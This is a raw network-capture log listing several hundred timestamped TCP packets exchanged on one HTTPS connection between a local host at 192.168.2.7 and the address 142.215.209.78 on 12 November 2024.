Nov 12, 2024 08:06:02.289803028 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:02.327192068 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:02.327199936 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:02.327254057 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:02.327265024 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:02.327436924 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:02.327466965 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:02.327491045 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:02.327497959 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:02.327531099 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:02.328213930 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:02.328284025 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:02.328290939 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:02.328386068 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:02.328495979 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:02.328505039 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:02.366539955 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:02.366599083 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:02.366631985 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:02.366653919 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:02.366688013 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:02.367085934 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:02.367170095 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:02.367177963 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:02.414855957 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.423610926 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.423635960 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.423682928 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.423691034 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.423760891 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.423779964 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.423790932 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.423841953 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.423887014 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.423897982 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.423944950 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.424237967 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.424237967 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.424247980 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.424268007 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.424282074 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.424290895 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.424345970 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.424496889 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.424496889 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.424496889 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.424506903 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.424628973 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.658513069 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.658569098 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.658663988 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.658684015 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.658694983 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.658698082 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.658751011 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.658751011 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.658759117 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.658809900 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.659132004 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.659209967 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.659214973 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.659559965 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.659883022 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.659895897 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.659902096 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.659936905 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.660125017 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.660697937 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.660754919 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.660754919 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.660763025 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.660933971 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.660984039 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.661030054 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.661030054 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.661035061 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.661814928 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.661894083 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.661900043 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.661915064 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.662028074 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.662034035 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.662626028 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.662723064 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.662728071 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.662796974 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.663027048 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.663034916 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.663583994 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.663678885 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.663688898 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.663693905 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.664218903 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.664416075 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.664585114 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.664589882 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.664650917 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.664844990 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.664918900 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.664925098 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.665306091 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.665370941 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.665375948 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.665393114 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.665474892 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.665481091 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.666199923 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.666253090 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.666261911 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.666266918 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.666302919 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.666309118 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.666352034 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.666990995 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.667059898 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.667066097 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.667073965 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.667129993 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.667135954 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.667231083 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.667284012 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.667289972 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.668189049 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.668284893 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.668294907 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.668334961 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.668416977 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.668422937 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.668462992 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.668545008 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.668551922 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.669163942 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.669220924 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.669226885 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.669359922 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.669662952 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.669668913 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.670074940 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.670146942 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.670155048 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.670216084 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.670269012 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.670283079 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.671025038 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.671086073 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.671091080 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.671665907 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.671725988 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.671746969 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.671751976 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.671799898 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.672374010 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.672466040 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.672472000 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.672580957 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.672626019 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.672646999 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.672652006 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.672696114 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.672734976 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.672847033 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.672853947 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.672861099 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.672899008 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.672900915 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.672910929 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.672976971 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.672982931 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.673101902 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.776738882 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.776861906 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.776959896 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.776968956 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.776978970 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.777053118 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.777115107 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.777184963 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.777190924 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.777299881 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.777348995 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.777354956 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.777429104 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.777529001 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.777533054 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.777590036 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.777637959 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.777645111 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.777820110 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.777894974 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.777911901 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.777915955 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.777950048 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.788743973 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.788849115 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.788856030 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.788898945 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.895266056 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.895379066 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.895379066 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.895390987 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.895530939 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.895576000 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.895576000 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.895590067 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.895628929 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.895682096 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.895833015 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.895845890 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.895852089 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.895972013 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.896013021 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.896199942 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.896395922 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.896403074 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.896512032 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.896636963 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.896708965 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.896776915 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.896776915 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.896783113 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.896811008 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.896856070 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.896856070 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:03.896862030 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:03.896915913 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.013978004 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.014039993 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.014101028 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.014120102 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.014134884 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.014148951 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.014235973 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.014247894 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.014262915 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.014389992 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.014431000 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.014431000 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.014439106 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.014533997 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.014575005 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.014575005 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.014580011 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.014786005 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.014800072 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.014954090 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.014960051 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.014970064 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.015084028 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.015129089 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.015129089 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.015136003 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.015233040 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.015295982 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.015305996 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.017975092 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.132566929 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.132685900 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.132764101 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.132764101 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.132781029 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.132791996 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.132843971 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.132843971 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.132853985 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.132911921 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.132919073 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.132929087 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.133060932 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.133101940 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.133101940 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.133112907 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.133140087 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.133280039 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.133452892 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.133496046 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.133496046 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.133502960 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.133538961 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.133546114 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.133550882 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.133729935 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.133774996 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.133774996 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.133780956 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.133817911 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.133863926 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.133863926 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.133871078 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.133960962 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.133990049 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.134635925 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.134635925 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.134643078 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.180442095 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.251272917 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.251343012 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.251360893 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.251374006 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.251435995 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.251449108 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.251548052 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.251595020 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.251602888 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.251671076 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.251741886 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.251751900 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.251852989 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.251951933 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.251959085 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.252006054 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.252073050 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.252079964 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.252151966 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.252254009 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.252260923 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.252310991 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.252377033 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.252384901 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.252464056 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.252522945 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.252532959 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.252602100 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.252671957 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.252680063 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.252726078 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.252837896 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.252845049 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.305656910 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.369822025 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.369925976 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.369940042 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.369985104 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.370034933 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.370043993 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.370150089 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.370233059 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.370239973 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.370311022 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.370390892 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.370398045 CET	443	49702	142.215.209.78	192.168.2.7
